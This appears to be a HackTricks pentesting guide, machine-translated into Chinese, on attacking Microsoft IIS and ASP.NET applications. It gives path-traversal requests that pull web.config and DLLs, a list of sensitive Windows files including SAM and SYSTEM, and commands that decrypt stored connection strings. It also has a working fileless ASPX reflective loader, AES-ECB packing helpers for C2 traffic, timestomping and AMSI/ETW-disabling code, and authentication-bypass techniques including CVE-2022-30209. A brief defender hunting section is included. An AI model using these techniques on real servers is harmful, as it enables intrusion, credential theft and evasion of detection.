IIS - Internet Information Services

Reading time: 19 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

测试可执行文件扩展名:

  • asp
  • aspx
  • config
  • php

内部 IP 地址泄露

在任何返回 302 的 IIS 服务器上,你可以尝试去掉 Host header 并使用 HTTP/1.0,在响应中 Location 头可能会指向内部 IP 地址:

nc -v domain.com 80
openssl s_client -connect domain.com:443

响应披露内部 IP:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

执行 .config 文件

你可以上传 .config 文件并用它们来执行代码。一种方法是将代码作为 HTML 注释追加到文件末尾: 在此下载示例

更多关于利用此漏洞的信息和技术见 here

IIS Discovery Bruteforce

下载我创建的列表:

它是合并以下列表内容后创建的:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

使用时不要添加任何扩展名,需要扩展名的文件已经包含在列表中。

Path Traversal

Leaking source code

查看完整写解在: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

tip

总结来说,应用程序各文件夹中存在多个 web.config 文件,其中引用了 "assemblyIdentity" 文件和 "namespaces"。通过这些信息可以知道 可执行文件位于何处 并下载它们。
下载的 Dlls 中也可以找到 新的 namespaces,你可以尝试访问这些位置并获取 web.config 文件以便发现更多 namespaces 和 assemblyIdentity。
此外,文件 connectionstrings.configglobal.asax 可能包含有价值的信息。

.Net MVC applications 中,web.config 文件起着关键作用,通过 "assemblyIdentity" XML 标记指定应用程序所依赖的每个二进制文件。

探索二进制文件

下面展示了访问 web.config 文件的示例:

html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

该请求暴露了多种设置和依赖项,例如:

  • EntityFramework 版本
  • AppSettings(用于 webpages、client validation 和 JavaScript)
  • System.web 关于 authentication 和 runtime 的配置
  • System.webServer 的 modules 设置
  • Runtime 的程序集绑定,涉及诸如 Microsoft.OwinNewtonsoft.JsonSystem.Web.Mvc 等库

这些设置表明某些文件(例如 /bin/WebGrease.dll)位于应用程序的 /bin 文件夹中。

根目录文件

位于根目录的文件,例如 /global.asax/connectionstrings.config(包含敏感密码),对应用程序的配置和运行至关重要。

命名空间与 Web.Config

MVC 应用还会为特定命名空间定义额外的 web.config 文件,以避免在每个文件中重复声明,正如请求下载另一个 web.config 所示:

html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

下载 DLLs

提到的自定义命名空间暗示在 /bin 目录中存在名为 "WebApplication1" 的 DLL。随后显示了下载 WebApplication1.dll 的请求:

html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

这表明在 /bin 目录中还存在其他必要的 DLL,例如 System.Web.Mvc.dllSystem.Web.Optimization.dll

在某个 DLL 导入名为 WebApplication1.Areas.Minded 的命名空间的场景中,攻击者可能推断出在可预测路径(例如 /area-name/Views/)下存在其他 web.config 文件,这些文件包含特定的配置并引用 /bin 文件夹中的其他 DLL。例如,访问 /Minded/Views/web.config 的请求可以暴露出配置和命名空间,从而表明存在另一个 DLL:WebApplication1.AdditionalFeatures.dll

常见文件

来源:here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

If you see an error like the following one:

如果你看到如下错误:

这意味着服务器在 Host header 中未收到正确的域名
要访问该网页,你可以查看所提供的 SSL Certificate,可能会在其中找到域名/子域名。如果没有,你可能需要brute force VHosts直到找到正确的一个。

解密加密的配置和 ASP.NET Core Data Protection key rings

在 IIS 托管的 .NET 应用中,保护秘密的两种常见模式是:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider),用于 web.config 中像 这样的节。
  • ASP.NET Core Data Protection key ring(存储在本地),用于保护应用程序的秘密和 cookies。

如果你对 Web 服务器有文件系统访问或交互访问,位于同一位置的密钥通常允许解密。

  • ASP.NET (Full Framework) – 使用 aspnet_regiis 解密受保护的配置节:
cmd
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – 查找本地存储的 Data Protection key rings(XML/JSON 文件),位于如下位置:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

一旦获得 key ring,运行在应用身份下的操作者可以使用相同的 purposes 实例化 IDataProtector 并 unprotect 存储的机密。将 key ring 与应用文件一起存放的错误配置会使主机被攻破后离线解密变得非常容易。

IIS fileless backdoors and in-memory .NET loaders (NET-STAR 风格)

Phantom Taurus/NET-STAR 工具包展示了一个成熟的模式,用于在完全位于 w3wp.exe 内的 fileless IIS 持久化和 post‑exploitation。其核心思路可广泛复用于自定义 tradecraft 以及检测/猎捕。

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: 单个 .aspx 页面(例如 OutlookEN.aspx)携带一个 Base64‑encoded、可选的 Gzip‑compressed .NET DLL。收到触发请求后,它会解码、解压并通过反射将其加载到当前 AppDomain,然后调用主入口(例如 ServerRun.Run())。
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: 任务/结果按 Gzip → AES‑ECB/PKCS7 → Base64 封装,并通过看似合法且携带大量 cookie 的请求传输;操作者使用稳定分隔符(例如 "STAR")进行分块。
  • Reflective .NET execution: 接受任意 managed assemblies 的 Base64,经由 Assembly.Load(byte[]) 加载并传递操作者参数,以便在不触及磁盘的情况下快速替换模块。
  • Operating in precompiled ASP.NET sites: 即使站点已预编译,也能添加/管理辅助 shells/backdoors(例如,dropper 添加动态页面/handlers 或利用 config handlers)—通过命令如 bypassPrecompiledApp、addshell、listshell、removeshell 暴露这些功能。
  • Timestomping/metadata forgery: 提供 changeLastModified 操作并在部署时进行 timestomp(包括未来的编译时间戳),以阻碍 DFIR。
  • Optional AMSI/ETW pre‑disable for loaders: 二阶段加载器可以在调用 Assembly.Load 之前禁用 AMSI 和 ETW,从而减少对内存中 payload 的检测。

Minimal ASPX loader pattern

aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

打包/加密辅助工具 (Gzip + AES‑ECB + Base64)

csharp
using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session 流程与命令接口

  • 会话引导和任务分发通过 cookies 传输,以与正常的网页活动混合。
  • 在实际观测到的命令包括:fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; 以及用于在内存中执行 .NET 代码的动态执行原语 code_self, code_pid, run_code。

Timestomping 工具

csharp
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

在 Assembly.Load 之前内联禁用 AMSI/ETW (loader variant)

csharp
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

参见 AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md

Hunting notes (defenders)

  • 单个、异常的 ASPX 页面,包含非常长的 Base64/Gzip 数据块;POST 请求携带大量 cookie。
  • w3wp.exe 内的未注册 managed modules;字符串如 Encrypt/Decrypt (ECB)、Compress/Decompress、GetContext、Run。
  • 流量中出现重复的定界符如 "STAR";ASPX/assemblies 上的时间戳不匹配或甚至是未来时间戳。

值得关注的旧 IIS 漏洞

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

你可以尝试使用此 technique 在每个发现的文件夹内 enumerate folders and files(即使它需要 Basic Authentication)。
如果服务器易受该漏洞影响,此技术的主要限制是 它最多只能发现每个文件/文件夹名称的前 6 个字符以及文件扩展名的前 3 个字符

你可以使用 https://github.com/irsdl/IIS-ShortName-Scanner 来测试该漏洞:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

你也可以使用 metasploituse scanner/http/iis_shortname_scanner

一个很好的思路是使用 LLMsfind the final name,像脚本 https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py 中那样为发现的文件生成候选项。

Basic Authentication bypass

尝试访问以下路径可绕过 Basic Authentication(IIS 7.5):/admin:$i30:$INDEX_ALLOCATION/admin.php/admin::$INDEX_ALLOCATION/admin.php

你可以尝试将此 vulnerability 与上一个结合,以发现新的 foldersbypass 身份验证。

ASP.NET Trace.AXD enabled debugging

ASP.NET 包含一个调试模式,其文件名为 trace.axd

它会保留一段时间内对应用所做的所有请求的非常详细的日志。

这些信息包括远程客户端 IP、session IDs、所有请求和响应中的 cookies、物理路径、源代码信息,甚至可能包含用户名和密码。

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH 使用以下信息:

  • validationKey (string): 用于签名验证的十六进制编码密钥。
  • decryptionMethod (string): (默认 “AES”)。
  • decryptionIV (string): 十六进制编码的初始化向量(默认为全零向量)。
  • decryptionKey (string): 用于解密的十六进制编码密钥。

但是,有些人会使用这些参数的 default values,并将用户的 email 作为 cookie。因此,如果你能找到另一个使用 same platform 且使用 ASPXAUTH cookie 的网站,并在该被攻击服务器上为你想要冒充的用户 创建一个相同 email 的用户,你可能能够将第二个服务器的 cookie 用于第一个服务器,从而冒充该用户。
此攻击在该 writeup 中已被证明有效。

IIS 使用缓存密码的 Authentication Bypass (CVE-2022-30209)

Full report here:代码中的一个 bug 没有正确验证用户提供的密码,因此当攻击者的 password hash 碰巧命中已存在于 cache 中的一个键时,攻击者将能够以该用户身份登录。

python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks